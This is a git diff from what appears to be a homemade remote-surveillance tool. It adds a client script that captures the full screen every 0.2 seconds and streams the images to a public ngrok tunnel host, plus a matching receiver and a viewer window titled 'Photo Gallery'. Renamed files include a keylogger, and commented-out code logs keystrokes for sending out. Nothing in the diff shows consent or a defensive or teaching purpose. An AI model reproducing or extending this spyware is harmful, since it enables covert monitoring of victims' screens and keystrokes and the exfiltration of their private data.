diff --git a/Controlled/__pycache__/test.cpython-38.pyc b/Controlled/__pycache__/test.cpython-38.pyc new file mode 100644 index 0000000..ed3e399 Binary files /dev/null and b/Controlled/__pycache__/test.cpython-38.pyc differ diff --git a/Client/mirrorClient.py b/Controlled/controlled-keymouse.py similarity index 100% rename from Client/mirrorClient.py rename to Controlled/controlled-keymouse.py diff --git a/Controlled/controlled-screen.py b/Controlled/controlled-screen.py new file mode 100644 index 0000000..54023d7 --- /dev/null +++ b/Controlled/controlled-screen.py @@ -0,0 +1,110 @@ +import socket +import os +import tkinter +from PIL import ImageGrab +import time + + + +SEPARATOR = "" +BUFFER_SIZE = 4096 # send 4096 bytes each time step + + +# the ip address or hostname of the server, the receiver +# the port, let's use 5001 +host = "0.tcp.ngrok.io" +port = 15552 + +# host = "0.0.0.0" +# port = 5001 + +# the name of file we want to send, make sure it exists +filename = "screen.jpg" +# get the file size +filesize = os.path.getsize(filename) + +# create the client socket +s = socket.socket() +print(f"[+] Connecting to {host}:{port}") +s.connect((host, port)) +print("[+] Connected.") +# send the filename and filesize +#s.send("HELLO".encode()) +s.send(f"{filename}{SEPARATOR}{filesize}".encode()) + + +def sendfile(): + # start sending the file + with open(filename, "rb") as f: + while True: + # read the bytes from the file + bytes_read = f.read(BUFFER_SIZE) + if not bytes_read: + # file transmitting is done + break + # we use sendall to assure transimission in + # busy networks + s.sendall(bytes_read) + # close the socket + #s.close() + +#----------------------------------------------------------- + +bbox=(0,0,tkinter.Tk().winfo_screenwidth(),tkinter.Tk().winfo_screenheight()) +while True: + image = ImageGrab.grab(bbox) + image.save('screen.jpg',optimize=True,quality=30) + print("screenshot taken") + sendfile() + time.sleep(0.2) + s.send("FILEDONE".encode()) + +# def on_press(key): +# + # if str(key) == 'Key.enter': + # text_file = open("data.txt", "w") + # text_file.write("\n") + # text_file.close() + # sendfile() + # + # elif str(key) == 'Key.space': + # text_file = open("data.txt", "w") + # text_file.write(" ") + # text_file.close() + # sendfile() +# + # elif str(key) == 'Key.backspace': + # print("Invalid") +# + # + # else: + # text_file = open("data.txt", "w") + # text_file.write(('{}'.format(key)).replace("'", "")) + # text_file.close() + # sendfile() +# + # +# +# def on_release(key): +# + # #print('Key {} released.'.format(key)) +# + # if str(key) == 'Key.esc': +# + # print('Exiting...') +# + # return False +# + # +# +# with keyboard.Listener( +# + # on_press = on_press, +# + # on_release = on_release) as listener: +# + # listener.join() + + +#----------------------------------------- + diff --git a/Controlled/screen.jpg b/Controlled/screen.jpg new file mode 100644 index 0000000..04b0a6e Binary files /dev/null and b/Controlled/screen.jpg differ diff --git a/Client/serversend - datalog.py b/Controlled/serversend - datalog.py similarity index 100% rename from Client/serversend - datalog.py rename to Controlled/serversend - datalog.py diff --git a/Server/KEY LOGGER - Normal.py b/Controller/KEY LOGGER - Normal.py similarity index 100% rename from Server/KEY LOGGER - Normal.py rename to Controller/KEY LOGGER - Normal.py diff --git a/Server/mirrorServer.py b/Controller/controller-keymouse.py similarity index 100% rename from Server/mirrorServer.py rename to Controller/controller-keymouse.py diff --git a/Controller/controller-screen.py b/Controller/controller-screen.py new file mode 100644 index 0000000..9f7eb87 --- /dev/null +++ b/Controller/controller-screen.py @@ -0,0 +1,61 @@ +import socket +import os +#from test import update_image + +# device's IP address +SERVER_HOST = "0.0.0.0" #(socket.gethostbyname(socket.gethostname())) +SERVER_PORT = 5001 +# receive 4096 bytes each time +BUFFER_SIZE = 4096 +SEPARATOR = "" +# create the server socket +# TCP socket +s = socket.socket() +# bind the socket to our local address +s.bind((SERVER_HOST, SERVER_PORT)) +# enabling our server to accept connections +# 5 here is the number of unaccepted connections that +# the system will allow before refusing new connections +s.listen(5) +print(f"[*] Listening as {SERVER_HOST}:{SERVER_PORT}") +# accept connection if there is any +client_socket, address = s.accept() +# if below code is executed, that means the sender is connected +print(f"[+] {address} is connected.") +# receive the file infos +# receive using client socket, not server socket +received = client_socket.recv(BUFFER_SIZE).decode() +filename, filesize = received.split(SEPARATOR) +# remove absolute path if there is +#filename = os.path.basename(filename) +# convert to integer +filesize = int(filesize) +# start receiving the file from the socket +# and writing to the file stream + +#with open(filename, "wb") as f: + +while True: + # read 1024 bytes from the socket (receive) + bytes_read = client_socket.recv(BUFFER_SIZE) + if not bytes_read: + # nothing is received + # file transmitting is done take another time + break + # write to the file the bytes we just received + try: + hello = bytes_read.decode() + #update_image() + os.remove("screen.jpg") + os.rename(r"screen_download.jpg",r"screen.jpg") + print("I am moving the file") + except: + f = open("screen_download.jpg", 'ab') + f.write(bytes_read) + print("I am adding to the file") + f.close() + +# close the client socket +#client_socket.close() +# close the server socket +#s.close() diff --git a/Controller/image-viewer.py b/Controller/image-viewer.py new file mode 100644 index 0000000..bfb6bb6 --- /dev/null +++ b/Controller/image-viewer.py @@ -0,0 +1,44 @@ +#!/usr/bin/python3 + +#Displays a loop of all image files found by gather_files.py. Run that script first to populate your image db file. See README for python dependency installation hints. + +import tkinter as tk +from PIL import ImageTk, Image +import os, random, time + + +#Loop through a new image every 4 seconds. +def update_image(): + path = "screen.jpg" + try: + img = ImageTk.PhotoImage(Image.open(path).resize((800, 480))) + #Issue with image file, try another. + except Exception as e: + print("Error: " + str(e)) + path = get_random_file() + img = ImageTk.PhotoImage(Image.open(path).resize((800, 480))) + panel.configure(image=img) + panel.image = img + window.after(100, update_image) + return + +path = "screen.jpg" +window = tk.Tk() +#window.attributes("-fullscreen",True) +window.title("Photo Gallery") +window.geometry("800x480") +window.configure(background='black') +#Load an initial image onto the Label. +try: + img = ImageTk.PhotoImage(Image.open(path).resize((800, 480))) +#Issue with image file, try another. +except Exception as e: + print("Error: " + str(e)) + path = "screen.jpg" + img = ImageTk.PhotoImage(Image.open(path).resize((800, 480))) +panel = tk.Label(window, image=img) +panel.pack(side="bottom", fill="both", expand="yes") + +update_image() +window.mainloop() + diff --git a/Controller/screen.jpg b/Controller/screen.jpg new file mode 100644 index 0000000..75677c0 Binary files /dev/null and b/Controller/screen.jpg differ